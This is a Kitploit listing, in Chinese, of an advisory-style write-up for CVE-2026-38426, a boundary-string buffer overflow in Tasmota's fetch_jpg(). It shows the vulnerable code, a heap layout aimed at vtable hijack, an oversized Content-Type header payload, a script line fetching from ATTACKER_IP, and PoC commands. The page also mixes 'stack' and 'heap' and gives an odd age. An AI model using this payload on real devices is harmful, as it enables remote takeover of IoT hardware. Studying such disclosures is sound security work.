Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-38426 — CVE-2026-38426 — Tasmota fetch_jpg() boundary[40] 中的 strcpy() 栈缓冲区溢出(Tasmota <= 15.3.0.3) | Kitploit
工具/GitHubGitHub/sermikr0/cve-2026-38426
嵌入式系统安全物联网安全漏洞分析漏洞利用硬件与物联网安全远程访问木马二进制利用
GitHubsermikr0/cve-2026-38426

CVE-2026-38426

CVE-2026-38426 — Tasmota fetch_jpg() boundary[40] 中的 strcpy() 栈缓冲区溢出(Tasmota <= 15.3.0.3)

查看仓库
73个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-38426:Tasmota fetch_jpg() 中 boundary[40] 的 strcpy() 栈缓冲区溢出

CVE: CVE-2026-38426
严重性: 严重(CVSS 9.8)
产品: Arendst Tasmota
受影响版本: <= 15.3.0.3
文件: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
函数: fetch_jpg() — case 0(初始连接)
作者: Saidakbarxon Maxsudxonov
披露: 负责任披露——已在发布前报告给 Tasmota


概述

Tasmota 的脚本驱动程序(scripter driver)中的 fetch_jpg() 函数存在经典的 strcpy() 缓冲区溢出漏洞。从 HTTP Content-Type 响应头中提取的 MJPEG boundary 字符串在没有任何长度校验的情况下被复制到固定的 40 字节缓冲区(boundary[40])中。控制 MJPEG HTTP 服务器的攻击者可以提供超过 39 个字符的 boundary 字符串来溢出缓冲区并破坏相邻的堆内存——从而有可能在 ESP32 上实现远程代码执行。


漏洞代码

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FIXED SIZE — only 40 bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // contains vtable pointer
    HTTPClient http;     // contains vtable pointer
} jpg_task;

// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // NO LENGTH CHECK — OVERFLOW!
}

堆内存布局(ESP32)

root@kitploit:~
struct JPG_TASK layout:
  +0x00  boundary[40]     ← overflow starts here
  +0x28  draw (bool)      ← corrupted
  +0x29  scale (uint8_t)  ← corrupted
  +0x2A  xp (uint16_t)    ← corrupted
  +0x2C  yp (uint16_t)    ← corrupted
  +0x2E  WiFiClient        ← vtable ptr overwritten → RCE
  +0x7E  HTTPClient        ← vtable ptr overwritten → RCE

使用攻击者控制的值覆盖 WiFiClient 或 HTTPClient 的 vtable 指针后,一旦随后调用任何虚方法(read()、write()、connect()),便会触发 RCE。


攻击场景

攻击者运行一个 HTTP 服务器,Tasmota 通过 fetchjp() 连接该服务器。服务器返回的 Content-Type 头中包含一个超过 39 个字符的 boundary 字符串:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tasmota 的 strcpy() 将 50 多个字节复制到 40 字节的 boundary 缓冲区中,溢出到相邻的结构体字段。

通过 Tasmota 脚本触发:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

概念验证(PoC)

root@kitploit:~
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

完整实现请参阅 CVE-2026-38426_poc.py。


影响

  • 机密性: 高(通过 ESP32 上的 vtable 劫持实现 RCE)
  • 完整性: 高
  • 可用性: 高(必然崩溃)
  • 攻击向量: 网络
  • 身份验证: 无需

时间线

  • 2026-03-29: 发现漏洞并向 MITRE 报告
  • 2026-03-29: 分配 CVE-2026-38426
  • 2026-05-xx: Tasmota 发布补丁(v15.3.0.4+)

参考资料

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38426
下载工具